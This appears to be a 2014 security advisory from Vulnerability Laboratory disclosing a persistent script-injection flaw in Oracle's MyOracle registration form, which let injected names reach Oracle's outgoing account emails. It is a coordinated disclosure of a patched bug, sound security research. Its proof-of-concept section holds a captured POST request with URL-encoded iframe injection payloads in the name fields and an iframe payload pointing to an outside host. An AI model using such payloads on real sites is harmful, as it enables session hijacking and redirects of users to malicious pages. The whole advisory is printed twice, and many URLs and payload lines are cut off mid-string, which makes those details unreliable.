Document Title:
===============
Oracle Corporation MyOracle - Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
Oracle Security ID (Team Tracking ID): admin@vulnerability-lab.com-
http://vulnerability-db.com/
Release Date:
=============
2014-09-17
Vulnerability Laboratory ID (VL-ID):
==============================
1261
Common Vulnerability Scoring System:
==============================
3.9
Product & Service Introduction:
==============================
Oracle Corporation is an American multinational computer technology corporation headquartered in Redwood City, California, United States.
The company specializes in developing and marketing computer hardware systems and enterprise software products – particularly its own brands
of database management systems. Oracle is the second-largest software maker by revenue, after Microsoft. The company also builds tools for
database development and systems of middle-tier software, enterprise resource planning (ERP) software, customer relationship management (CRM)
software and supply chain management (SCM) software. Larry Ellison, a co-founder of Oracle, has served as Oracle`s CEO throughout its history.
He also served as the Chairman of the Board until his replacement by Jeffrey O. Henley in 2004. On August 22, 2008, the Associated Press
ranked Ellison as the top-paid chief executive in the world.
(Copy of the Homepage: http://en.wikipedia.org/wiki/
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent vulnerability in the official Oracle Corporation `MyOracle` service web-application.
Vulnerability Disclosure Timeline:
==============================
2014-04-28: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-04-30: Vendor Notification (Oracle Sec Alert Security Team)
2014-05-03: Vendor Response/Feedback (Oracle Sec Alert Security Team)
2014-09-01: Vendor Fix/Patch (Oracle Developer Team - Acknowledgments 2014 October CPU Advisory)
2014-09-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
A filter and persistent input validation mail encoding web vulnerability has been discovered in the official Oracle Corporation `MyOracle` service web-application.
The vulnerability allows to bypass the regular web/system validation to inject own script codes in outgoing emails of the account system mail server service.
The vulnerability is located in the name values of the my-oracle `registration` module. Remote attackers are able to inject in the first and lastname input fields of the
registration formular own script codes via POST method request. The injected script code activates the account mail service notification which returns with the persistent
code in the myoracle token activation site. The issue impact a critical risk because an attacker is able to inject own tokens or can manipulate the full mail body context.
Further send notification mails by the myoracle service can also be affected by the issue. The encoding of the server does not recognize outgoing service mails which
results in the persistent issue in outgoing emails. The injection point is a profile values update or directly the remote registration itself. The security risk of the
persistent mail encoding and filter web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the vulnerability requires low user interaction and no privileged application user account. Successful exploitation results in persistent session hijacking
attacks, unauthorized external redirects to malicious sources and persistent manipulation of affected or connected module context.
Request Method(s):
[+] POST
Vulnerable Service(s):
[+] MyOracle
Vulnerable Module(s):
[+] Registration (exp.)
Vulnerable Parameter(s):
[+] Profile name values (firstname & lastname ...)
[Sender]:
[+] oracle-acct_ww@oracle.com
[Receiver]:
[+] admin@evolution-sec.com & bkm@evolution-sec.com
Proof of Concept (PoC):
=======================
The persistent mail encoding web vulnerability can be exploited by remote attackers with low user interaction and without privileged application user account.
For security demonstration or to reproduce the persistent mail encoding web vulnerability follow the provided information and steps below to continue.
Sender Mailbox - Main Oracle Server
oracle-acct_ww@oracle.com
Affected Mailbox - Receiver/Victim
admin@evolution-sec.com
bkm@evolution-sec.com
Inject via Profile (POST)
https://myprofile.oracle.com/
Inject via Registration (POST)
https://myprofile.oracle.com/
After Inject (REDIRECT OPTIONS)
https://myprofile.oracle.com/
-- PoC Session Logs [POST] ---
20:16:31.280[4105ms][total 4105ms] Status: 302[Moved Temporarily]
POST https://myprofile.oracle.com/
Request Header:
Host[myprofile.oracle.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
Accept[text/html,application/
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Referer[https://myprofile.
Cookie[optimizelySegments=%7B%
Connection[keep-alive]
POST-Daten:
ops[Bitte+w%C3%A4hlen+Sie+...]
drm[Sie+m%C3%BCssen+%7B0%7D+
drsm[Sie+m%C3%BCssen+f%C3%BCr+
err[FEHLER]
reqd[Erforderliches+Feld.]
lqws[https%3A%2F%2Floqate.
unamefield[admin%40evolution-
passwd1[Keymaster148%21]
passwd2[Keymaster148%21]
givenname[%22%3E%3Ciframe+src%
middlename[%22%3E%3Ciframe+
sn[%22%3E%3Ciframe+src%3Da%3E%
usr_jtitle[pentester]
usr_ctry[41]
usr_state[6]
usr_cty[Kassel]
companyname[%22%3E%3Ciframe+
usr_line1[bremerstrasse+1337]
usr_line2[]
usr_postal_code[34125]
telephonenumber[573246234]
usr_srv_otn[t]
usr_srv_cio[t]
usr_nsl_psn[t]
org.apache.myfaces.trinidad.
_noJavaScript[false]
javax.faces.ViewState[%
event[]
source[cb1]
partial[]
Response Header:
Location[https://myprofile.
X-Frame-Options[sameorigin]
Content-Type[text/html]
Content-Language[en]
Content-Encoding[gzip]
Server[Oracle-Application-
Content-Length[720]
Vary[Accept-Encoding]
Date[Fri, 25 Apr 2014 18:16:45 GMT]
Connection[keep-alive]
PoC: Exploitcode in Mail
<html><head>
<title>Bitte verifizieren Sie Ihren Oracle Account</title>
<link rel="important stylesheet" href="chrome://messagebody/
</head>
<body>
<table class="header-part1" cellpadding="0" cellspacing="0" border="0" width="100%"><tbody><tr><td><
<meta http-equiv="Content-Type" content="text/html; "><table cellpadding="0" cellspacing="0" align="center" border="0" width="640"><tbody><tr><td style="border-top:#CCCCCC solid 1px; border-right:#CCCCCC solid 1px; border-bottom:#CCCCCC solid 1px; border-left:#CCCCCC solid 1px; background-color:#FFFFFF;"><
</body>
</html>
</iframe></td></tr></tbody></
Script Code Payload:
><iframe src="http://www.vulnerability-
Reference(s):
https://myprofile.oracle.com/
https://myprofile.oracle.com/
https://myprofile.oracle.com/
https%3A%2F%2Flogin.oracle.com
Picture(s):
../1.png
../2.png
../3.png
Resource(s):
../Account verifizieren.htm
../Bitte verifizieren Sie Ihren Oracle Account.html
../Bitte verifizieren Sie Ihren Oracle Account_poc.html
../poc.txt
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable first- and last-name input fields in the myoracle application.
Encode stored data of user in the dbms when processing to send service notifications by the mail info@oracle email to prevent persistent injection attacks.
Security Risk:
==============
The security risk of the persistent mail encoding web vulnerability in the myoracle account system web-server is estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/
Feeds: vulnerability-lab.com/rss/rss.
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]
===============
Oracle Corporation MyOracle - Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
Oracle Security ID (Team Tracking ID): admin@vulnerability-lab.com-
http://vulnerability-db.com/
Release Date:
=============
2014-09-17
Vulnerability Laboratory ID (VL-ID):
==============================
1261
Common Vulnerability Scoring System:
==============================
3.9
Product & Service Introduction:
==============================
Oracle Corporation is an American multinational computer technology corporation headquartered in Redwood City, California, United States.
The company specializes in developing and marketing computer hardware systems and enterprise software products – particularly its own brands
of database management systems. Oracle is the second-largest software maker by revenue, after Microsoft. The company also builds tools for
database development and systems of middle-tier software, enterprise resource planning (ERP) software, customer relationship management (CRM)
software and supply chain management (SCM) software. Larry Ellison, a co-founder of Oracle, has served as Oracle`s CEO throughout its history.
He also served as the Chairman of the Board until his replacement by Jeffrey O. Henley in 2004. On August 22, 2008, the Associated Press
ranked Ellison as the top-paid chief executive in the world.
(Copy of the Homepage: http://en.wikipedia.org/wiki/
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent vulnerability in the official Oracle Corporation `MyOracle` service web-application.
Vulnerability Disclosure Timeline:
==============================
2014-04-28: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-04-30: Vendor Notification (Oracle Sec Alert Security Team)
2014-05-03: Vendor Response/Feedback (Oracle Sec Alert Security Team)
2014-09-01: Vendor Fix/Patch (Oracle Developer Team - Acknowledgments 2014 October CPU Advisory)
2014-09-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
A filter and persistent input validation mail encoding web vulnerability has been discovered in the official Oracle Corporation `MyOracle` service web-application.
The vulnerability allows to bypass the regular web/system validation to inject own script codes in outgoing emails of the account system mail server service.
The vulnerability is located in the name values of the my-oracle `registration` module. Remote attackers are able to inject in the first and lastname input fields of the
registration formular own script codes via POST method request. The injected script code activates the account mail service notification which returns with the persistent
code in the myoracle token activation site. The issue impact a critical risk because an attacker is able to inject own tokens or can manipulate the full mail body context.
Further send notification mails by the myoracle service can also be affected by the issue. The encoding of the server does not recognize outgoing service mails which
results in the persistent issue in outgoing emails. The injection point is a profile values update or directly the remote registration itself. The security risk of the
persistent mail encoding and filter web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the vulnerability requires low user interaction and no privileged application user account. Successful exploitation results in persistent session hijacking
attacks, unauthorized external redirects to malicious sources and persistent manipulation of affected or connected module context.
Request Method(s):
[+] POST
Vulnerable Service(s):
[+] MyOracle
Vulnerable Module(s):
[+] Registration (exp.)
Vulnerable Parameter(s):
[+] Profile name values (firstname & lastname ...)
[Sender]:
[+] oracle-acct_ww@oracle.com
[Receiver]:
[+] admin@evolution-sec.com & bkm@evolution-sec.com
Proof of Concept (PoC):
=======================
The persistent mail encoding web vulnerability can be exploited by remote attackers with low user interaction and without privileged application user account.
For security demonstration or to reproduce the persistent mail encoding web vulnerability follow the provided information and steps below to continue.
Sender Mailbox - Main Oracle Server
oracle-acct_ww@oracle.com
Affected Mailbox - Receiver/Victim
admin@evolution-sec.com
bkm@evolution-sec.com
Inject via Profile (POST)
https://myprofile.oracle.com/
Inject via Registration (POST)
https://myprofile.oracle.com/
After Inject (REDIRECT OPTIONS)
https://myprofile.oracle.com/
-- PoC Session Logs [POST] ---
20:16:31.280[4105ms][total 4105ms] Status: 302[Moved Temporarily]
POST https://myprofile.oracle.com/
Request Header:
Host[myprofile.oracle.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
Accept[text/html,application/
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Referer[https://myprofile.
Cookie[optimizelySegments=%7B%
Connection[keep-alive]
POST-Daten:
ops[Bitte+w%C3%A4hlen+Sie+...]
drm[Sie+m%C3%BCssen+%7B0%7D+
drsm[Sie+m%C3%BCssen+f%C3%BCr+
err[FEHLER]
reqd[Erforderliches+Feld.]
lqws[https%3A%2F%2Floqate.
unamefield[admin%40evolution-
passwd1[Keymaster148%21]
passwd2[Keymaster148%21]
givenname[%22%3E%3Ciframe+src%
middlename[%22%3E%3Ciframe+
sn[%22%3E%3Ciframe+src%3Da%3E%
usr_jtitle[pentester]
usr_ctry[41]
usr_state[6]
usr_cty[Kassel]
companyname[%22%3E%3Ciframe+
usr_line1[bremerstrasse+1337]
usr_line2[]
usr_postal_code[34125]
telephonenumber[573246234]
usr_srv_otn[t]
usr_srv_cio[t]
usr_nsl_psn[t]
org.apache.myfaces.trinidad.
_noJavaScript[false]
javax.faces.ViewState[%
event[]
source[cb1]
partial[]
Response Header:
Location[https://myprofile.
X-Frame-Options[sameorigin]
Content-Type[text/html]
Content-Language[en]
Content-Encoding[gzip]
Server[Oracle-Application-
Content-Length[720]
Vary[Accept-Encoding]
Date[Fri, 25 Apr 2014 18:16:45 GMT]
Connection[keep-alive]
PoC: Exploitcode in Mail
<html><head>
<title>Bitte verifizieren Sie Ihren Oracle Account</title>
<link rel="important stylesheet" href="chrome://messagebody/
</head>
<body>
<table class="header-part1" cellpadding="0" cellspacing="0" border="0" width="100%"><tbody><tr><td><
<meta http-equiv="Content-Type" content="text/html; "><table cellpadding="0" cellspacing="0" align="center" border="0" width="640"><tbody><tr><td style="border-top:#CCCCCC solid 1px; border-right:#CCCCCC solid 1px; border-bottom:#CCCCCC solid 1px; border-left:#CCCCCC solid 1px; background-color:#FFFFFF;"><
</body>
</html>
</iframe></td></tr></tbody></
Script Code Payload:
><iframe src="http://www.vulnerability-
Reference(s):
https://myprofile.oracle.com/
https://myprofile.oracle.com/
https://myprofile.oracle.com/
https%3A%2F%2Flogin.oracle.com
Picture(s):
../1.png
../2.png
../3.png
Resource(s):
../Account verifizieren.htm
../Bitte verifizieren Sie Ihren Oracle Account.html
../Bitte verifizieren Sie Ihren Oracle Account_poc.html
../poc.txt
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable first- and last-name input fields in the myoracle application.
Encode stored data of user in the dbms when processing to send service notifications by the mail info@oracle email to prevent persistent injection attacks.
Security Risk:
==============
The security risk of the persistent mail encoding web vulnerability in the myoracle account system web-server is estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/
Feeds: vulnerability-lab.com/rss/rss.
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]